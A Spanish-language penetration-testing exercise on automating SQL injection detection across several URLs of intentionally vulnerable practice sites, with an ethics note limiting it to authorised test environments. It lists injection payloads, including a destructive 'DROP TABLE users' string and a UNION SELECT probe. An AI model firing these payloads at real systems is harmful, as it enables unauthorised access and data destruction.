🔧 Ejercicio Práctico: Automatización de Pruebas de SQL Injection sobre Varias URLs

---

📝 Descripción del ejercicio

El objetivo es construir un script que permita automatizar la detección de posibles inyecciones SQL en múltiples URLs de un entorno de pruebas. Utilizando una lista de payloads, el script probará distintos parámetros e identificará comportamientos que indiquen vulnerabilidades.

🎯 Objetivos de aprendizaje

- Automatizar la prueba de múltiples vectores de SQL Injection.
- Utilizar técnicas básicas de fuzzing sobre parámetros de URL.
- Detectar indicios de vulnerabilidad en respuestas del servidor.
- Generar un pequeño reporte con los endpoints potencialmente vulnerables.

👨‍💻 Instrucciones

Asegúrate de tener la librería `requests` instalada:

```
pip install requests
```

1.

Crea un archivo llamado `targets.txt` que contenga una lista de URLs vulnerables (por ejemplo de testphp.vulnweb.com o DVWA), como:

```
http://testphp.vulnweb.com/artists.php?artist=
http://testphp.vulnweb.com/showimage.php?file=
```

2.

Define una lista de payloads SQL clásicos como:

payloads = ["' OR '1'='1", "';--", "' OR 1=1 --", "' OR 'x'='x"]

3.
4. Crea un script que:
    - Lea las URLs del archivo.
    - Inyecte cada payload en cada URL.
    - Analice las respuestas buscando indicios de error SQL o respuestas anómalas.
    - Imprima un informe de las URLs que respondieron de forma sospechosa.

📌 Ejemplo de payloads para usar

```
payloads = [
    "' OR '1'='1",
    "' OR 1=1 --",
    "'; DROP TABLE users; --",
    "' UNION SELECT null,null --",
    "' OR 'a'='a"
]
```

✅ Resultado esperado

Un pequeño reporte en consola indicando algo como:

[+] Posible SQLi en: http://testphp.vulnweb.com/artists.php?artist=' OR 1=1 --
[+] Posible SQLi en: http://testphp.vulnweb.com/showimage.php?file=' OR 'a'='a

---

⚖️ Consideraciones éticas

- Este tipo de escaneo **solo debe hacerse en entornos de pruebas o con autorización previa**.

- Automatizar el reconocimiento ofensivo sin control puede ser visto como ataque, incluso si no se explota.
